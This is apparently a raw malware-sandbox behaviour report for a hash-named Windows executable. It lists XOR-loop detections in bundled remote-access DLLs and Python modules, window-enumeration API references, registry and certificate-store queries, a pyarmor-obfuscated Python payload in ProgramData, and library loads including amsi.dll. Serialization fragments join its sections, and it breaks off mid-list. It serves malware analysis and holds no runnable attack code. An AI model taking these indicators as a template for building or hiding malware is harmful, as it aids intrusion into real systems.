XOR loop in file "PCICL32.DLL" at offset 3726758; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3730684; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3735334; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 54669; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 378624; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 8803; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 70717; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 118047; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 704958; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 63875; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 79226; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 404752; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 422508; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 700251; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 705397; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 709519; code bytes = 8030 Found XOR loop in file "pyarmor_runtime.pyd" at offset 579808; code bytes = 30d0 Found XOR loop in file "pyarmor_runtime.pyd" at offset 605328; code bytes = 30d0 Found XOR loop in file "pyarmor_runtime.pyd" at offset 395716; code bytes = 8030 Found XOR loop in file "pyarmor_runtime.pyd" at offset 610032; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 311148; code bytes = 30d0 Found XOR loop in file "TCCTL32.DLL" at offset 384605; code bytes = 30d0 Found XOR loop in file "TCCTL32.DLL" at offset 9734; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 9776; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 9818; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 9860; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 25159; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 126874; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 126916; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 126958; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 127000; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 171611; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 172230; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 378439; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 380783; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 370176; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 375492; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 376374; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 379006; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 385310; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 388006; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 391932; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 130781; code bytes = 30d0 Found XOR loop in file "HTCTL32.DLL" at offset 314629; code bytes = 30d0 Found XOR loop in file "HTCTL32.DLL" at offset 316037; code bytes = 30d0 Found XOR loop in file "HTCTL32.DLL" at offset 2026; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 2154; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 2282; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 3129; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 3257; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 3385; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4391; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4489; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4585; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4677; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4773; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4869; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 99479; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 142681; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 143300; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 308417; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 308875; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 314971; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 305566; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 307742; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 313782; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 316026; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 316534; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 317016; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 319398; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 323324; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 237892; code bytes = 30d0 Found XOR loop in file "_decimal.pyd" at offset 267552; code bytes = 30d0 Found XOR loop in file "_decimal.pyd" at offset 136003; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 267304; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 278974; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 215339; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 263596; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 263604; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 274267; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 279413; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 283535; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 32282; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 32531; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 32626; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 33019; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 33495; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 66931; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 210878; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 206171; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 211317; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 215439; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 217410; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 9079; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 175038; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 170331; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 175477; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 179599; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 1845; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 3265; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15558; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15609; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15665; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 17432; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 54408; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 54420; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55360; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55372; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56020; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56031; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56687; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56694; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57600; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57653; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57676; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 75411; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 89357; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 89994; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 152510; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 52863; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 147803; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 152949; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 157070; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 32147; code bytes = 33c1 Found XOR loop in file "_elementtree.pyd" at offset 129470; code bytes = 33c1 Found XOR loop in file "_elementtree.pyd" at offset 28152; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 124763; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 129909; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 134031; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 136002; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 24595; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 127422; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 92128; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 108648; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 112728; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 122715; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 127861; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 131983; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 45635; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 123838; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 119131; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 124277; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 128399; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 12104; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 39623; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 79806; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 75099; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 80245; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 84366; code bytes = 803043:T557,file/memory contains long string with (Indicator: "sendmessage"; File: "remcmdstub.exe") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "FindWindowExA" (Indicator: "findwindow"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00003640-00000C2C-562213249")44:T1ade,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000005f770000000008000000d8f15b0000000000000000000000000011ddbaffd87c3275488b327560eab7000000dc7500000000185cb700b014ec75f0f1b70024f25b01f63e637730f25b0088f15b000000000068f45b0070b56677dca57c04feffffff68f25b001db96377000000001db9637760eab70000000000f0f1b700f4954873509bb700f4f25b000000597770f5b700f80059770000000044f25b005c8d327538f35b0070b56677fca57c04feffffffa4f25b0070e6627701000000000059770000000000000000509bb7000000000000000000f800597770b5660148f35b00af11647709000000f0f25b00f4f25b00c4944873509bb7009cf35b00 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 240100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000003603be606377a0a50e76be6063770000000000000000000000000d00000000000000020000000d0000000000000002000000c810bd0064ec3603db3ddf75501bed75af3ddf75622b5a1c0d000000000000000200000000000000b9b0647710a50e76c0ec3603d01fe275ee17876afeffffff94ec36030200000080be8075a0a50e7684ec360391be80750200000000000000d0ec36033b3cdf75020000000000000068db0676000000009d1adf75841adf75d62b5a1c68db067692000000a0a50e7600000000c0412376ccec360348ed3603d01fe275ae08876afeffffffdcec3603101adf75d0412376ecec3603e52f1c76e0995a76d0412376f8ec3603 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000a838b7000100000004cc3603a10064777000647774ac257064538e751601647759005c004d0041004300480049004e00000000009489577200000000d0178b75d4c936030000b7006c006100040000000000000064538e750000000064538e7501000000f0e08674cc978c75f0e08674301fbc0000000000d0c93603f0e086742cca36032cca3603c7458075a8ca36035c000000c4cc360324ca360393c585745c4c1403da2834b40000000050c5857409c68574604c1403020000000000000000000000987880574f8c6244bb6371042380b1090000000000588a742c7b707400000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000a838b7000100000004cc3603a10064777000647774ac257064538e751601647759005c004d0041004300480049004e00000000009489577200000000d0178b75d4c936030000b7006c006100040000000000000064538e750000000064538e7501000000f0e08674cc978c75f0e08674301fbc0000000000d0c93603f0e086742cca36032cca3603c7458075a8ca36035c000000c4cc360324ca360393c58574e4451403da2834b40000000050c5857409c68574e8451403020000000000000000000000987880574f8c6244bb6371042380b1090000000000588a742c7b707400000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000a838b7000100000004cc3603a10064777000647774ac257064538e751601647759005c004d0041004300480049004e00000000009489577200000000d0178b75d4c936030000b7006c006100040000000000000064538e750000000064538e7501000000f0e08674cc978c75f0e08674301fbc0000000000d0c93603f0e086742cca36032cca3603c7458075a8ca36035c000000c4cc360324ca360393c5857474181503da2834b40000000050c5857409c6857478181503020000000000000000000000987880574f8c6244bb6371042380b1090000000000588a742c7b707400000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000a838b7000100000004cc3603a10064777000647774ac257064538e751601647759005c004d0041004300480049004e00000000009489577200000000d0178b75d4c936030000b7006c006100040000000000000064538e750000000064538e7501000000f0e08674cc978c75f0e08674301fbc0000000000d0c93603f0e086742cca36032cca3603c7458075a8ca36035c000000c4cc360324ca360393c585744c811503da2834b40000000050c5857409c6857450811503020000000000000000000000987880574f8c6244bb6371042380b1090000000000588a742c7b707400000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002512)45:T535,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "pythonw.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "pythonw.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE")46:T40f,Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "FindWindowExA" (Indicator: "FindWindow"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe")47:Tdc2,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002512-00000C17-533134239 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002512-00000C17-552197796 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553870953 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553871678 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553878120 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553879420 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553882716 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553883643 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553884899 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553886084 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553887255 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553888783 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\python313.zip" at 00000000-00003580-00000C17-553889712 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\main.py" at 00000000-00003580-00000C17-553891577 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\main.py" at 00000000-00003580-00000C17-553892314 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\main.py" at 00000000-00003580-00000C17-553893481 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\main.py" at 00000000-00003580-00000C17-553894408 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1" at 00000000-00003580-00000C17-553901383 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1" at 00000000-00003580-00000C17-553901741 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1" at 00000000-00003580-00000C17-553902070 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" at 00000000-00003580-00000C17-553912022 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" at 00000000-00003580-00000C17-553924874 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" at 00000000-00003580-00000C17-553925907 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" at 00000000-00003580-00000C17-553926570 "pythonw.exe" queries volume information of "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" at 00000000-00003580-00000C17-55392962348:T727,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")49:T3c61,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002512) "pythonw.exe" called "LoadLibrary" with a parameter api-ms-win-core-file-l2-1-4 (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\NexusSoftware\felix1\python3 (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\NexusSoftware\felix1\_ctypes.pyd (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter 